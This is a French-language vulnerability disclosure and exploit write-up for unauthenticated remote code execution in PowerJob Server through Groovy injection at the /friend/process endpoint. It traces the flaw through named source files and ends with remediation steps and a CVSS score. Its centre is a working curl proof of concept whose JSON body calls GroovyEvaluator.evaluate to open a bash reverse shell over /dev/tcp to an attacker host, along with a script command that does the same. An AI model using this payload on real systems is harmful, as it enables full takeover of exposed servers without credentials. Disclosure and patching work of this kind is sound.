
Exploit d'exécution de code à distance non authentifiée pour PowerJob Server via injection Groovy dans le point de terminaison /friend/process, permettant l'exécution de commandes arbitraires et des shells inversés.
/friend/process non authentifié (injection Groovy)Le serveur PowerJob (framework distribué d'ordonnancement de tâches / de calcul) expose le point de terminaison /friend/process sur son port HTTP 10010 de la couche de transport Worker↔Server sans aucune authentification. Le point de terminaison reflète une méthode publique arbitraire d'un bean Spring arbitraire ; un attaquant invoquant GroovyEvaluator.evaluate peut exécuter des expressions Groovy arbitraires, réalisant ainsi une exécution de code à distance non authentifiée. Le docker-compose par défaut publie ce port sur 0.0.0.0, de sorte qu'un serveur peut être entièrement compromis sans aucune information d'identification.
docker-compose.yml:29-33,47-48 publie 10010 (transport HTTP), 10086 (AKKA), 10077 (MU) sur l'hôte 0.0.0.0| Élément | Valeur |
|---|---|
| Point de terminaison déclencheur | POST http://<server>:10010/friend/process |
| Enregistrement | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (enregistré pour les trois protocoles : HTTP/MU/AKKA) |
| Exécution réflexive | RemoteRequestProcessor.processRemoteRequest() |
| Point de chute dangereux | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Authentification manquante | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) enregistrent les routes sans aucune vérification de jeton/signature |
Fichiers source clés (relatifs à la racine du dépôt) :
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (enregistre les routes 10010, sans authentification)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest fait entièrement confiance aux champs className, methodName, parameterTypes et args du corps de la requête — il utilise Class.forName + SpringUtils.getBean pour obtenir n'importe quel bean Spring, puis invoque n'importe laquelle de ses méthodes publiques via Spring ReflectionUtils.GroovyEvaluator est un bean @Component dont la méthode evaluate(String, Object) appelle le moteur de script Groovy (ScriptEngineManager) pour eval() directement l'expression de l'attaquant.La combinaison de ces trois éléments équivaut à une exécution de code à distance non authentifiée.
RemoteProcessReq qui cible GroovyEvaluator.evaluate avec une expression Groovy arbitraire (par exemple, 'id'.execute().text).AskResponse.data (JSON base64).Environnement : JDK 17, powerjob-server-starter-5.1.2.jar compilé à partir des sources (profil daily), serveur à l'écoute sur 192.168.49.128:10010. Re-vérifié sur JDK 21 (la charge utile sous forme de shell ci-dessous fonctionne sur les deux ; voir la note sur File.write ci-dessous).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Réponse réelle : {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Le décodage base64 du champ data donne la sortie de la commande exécutée sur la JVM du serveur :

Vous pouvez également la reproduire à l'aide du script :
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process fait partie de la communication interne Server↔Worker ; il devrait rejeter les requêtes non authentifiées, ou la méthode ne devrait pas être invocable à distance du tout.RemoteRequestProcessor pour une liste blanche : restreindre className/methodName aux gestionnaires sûrs définis par le framework et interdire l'invocation réflexive de beans arbitraires.GroovyEvaluator (s'il doit rester, ajouter une authentification et un bac à sable)./friend/process (S4S_HANDLER_PROCESS) par défaut ou le restreindre aux sources internes uniquement.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critique
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process est déclenchable sans base de données)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...